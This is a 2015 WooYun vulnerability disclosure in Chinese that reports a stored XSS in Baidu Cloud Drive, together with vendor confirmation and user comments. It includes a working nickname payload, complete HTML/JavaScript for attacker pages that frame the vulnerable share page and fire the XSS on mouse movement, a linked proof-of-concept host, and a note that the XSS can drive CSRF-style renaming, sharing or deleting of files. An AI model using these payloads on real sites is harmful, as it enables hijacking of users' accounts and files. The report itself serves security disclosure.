当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089971

漏洞标题:百度云网盘存储型XSS(依然可CSRF改名/共享/删除文件)

相关厂商:百度

漏洞作者: 超威蓝猫

提交时间:2015-01-05 00:34

修复时间:2015-02-19 00:36

公开时间:2015-02-19 00:36

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-05: 细节已通知厂商并且等待厂商处理中
2015-01-05: 厂商已经确认,细节仅向厂商公开
2015-01-15: 细节向核心白帽子及相关领域专家公开
2015-01-25: 细节向普通白帽子公开
2015-02-04: 细节向实习白帽子公开
2015-02-19: 细节向公众公开

简要描述:

这个漏洞依然影响 yun.baidu.com 和 pan.baidu.com ;我在 wooyun-2014-077970 中提到的通过xmlHttp发送请求来改名/共享/删除文件的方法依然可用。

详细说明:

注册一个QQ,将昵称修改为以下代码后,使用这个QQ登录百度云网盘。

"onmouseout=eval(window.name)//


分享一个文件后,在文件下载页提交一条评论,双引号爆炸啦!
http://pan.baidu.com/s/1bn8hgV9

sshot-2015-01-04-[1].png


这样,在iframe中引用该页面并加上name属性就可以执行我们的js了:

sshot-2015-01-04-[2].png


借用m神 @mramydnei 的代码,我们可以构造如下页面来实现“鼠标在页面任意处移动即可触发XSS”
page1.html:

<style>
html, body {
cursor: pointer;
}
#box, #box > * {
position: absolute;
width: 100px;
height: 1400px;
border: 1px solid red;
opacity: 100;
}
#victim {
border: none;
}
</style>
<div id="box">
<iframe id="victim" src="page2.html" scrolling="no"></iframe>
</div>
<script src="http://s1.bdstatic.com/r/www/cache/static/jquery/jquery-1.10.2.min.js"></script>
<script>
$(document).mousemove(function(e) {
var x = e.pageX;
var y = e.pageY;
$('#box').css({left: x - 50, top: y - 750});
});
</script>


page2.html:

<style>
html, body {
width: 10000px;
height: 10000px;
}
iframe {
width: 800px;
height: 1400px;
}
</style>
<iframe src="http://pan.baidu.com/s/1bn8hgV9" name=alert(location)></iframe>


PoC: http://218.66.75.117:8080/baidu0104_2.html (由于浏览器字体和自定义CSS存在差异,坐标计算可能有偏差,这个PoC不一定在所有环境下都生效)
至于这个XSS有啥用,请参考 http://wooyun.org/bugs/wooyun-2014-077970 。这里面提到过利用xmlHttp发送改名/共享/删除等操作请求,到现在还是可用的。

漏洞证明:

http://218.66.75.117:8080/baidu0104_2.html
http://pan.baidu.com/s/1bn8hgV9

修复方案:

快过年了送份礼物吧 :)

版权声明:转载请注明来源 超威蓝猫@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-01-05 16:32

厂商回复:

感谢提交,已通知业务部门处理

最新状态:

暂无


漏洞评价:

评论

  1. 2015-01-05 06:45 | backtrack丶yao ( 普通白帽子 | Rank:290 漏洞数:107 | "><img src=x onerror=alert(666666);> <im...)

  2. 2015-01-05 09:39 | 浅蓝 ( 普通白帽子 | Rank:274 漏洞数:109 | 爱安全:www.ixsec.orgXsec社区:zone.ixse...)

    哎呦这个屌哦

  3. 2015-01-05 10:04 | Taro ( 普通白帽子 | Rank:178 漏洞数:48 | 走向最远的方向,哪怕前路迷茫;抱着最大的...)

    看着很给力啊,咋不去百度提交呢

  4. 2015-01-06 04:39 | 包包 ( 路人 | Rank:6 漏洞数:5 | 我是菜鸟,我怕谁?小弟新来,望大牛多多包...)

    小喵喵好久不见辣

  5. 2015-02-19 10:30 | 夏殇 ( 路人 | Rank:30 漏洞数:21 | 不忘初心,方得始终。)

    好思路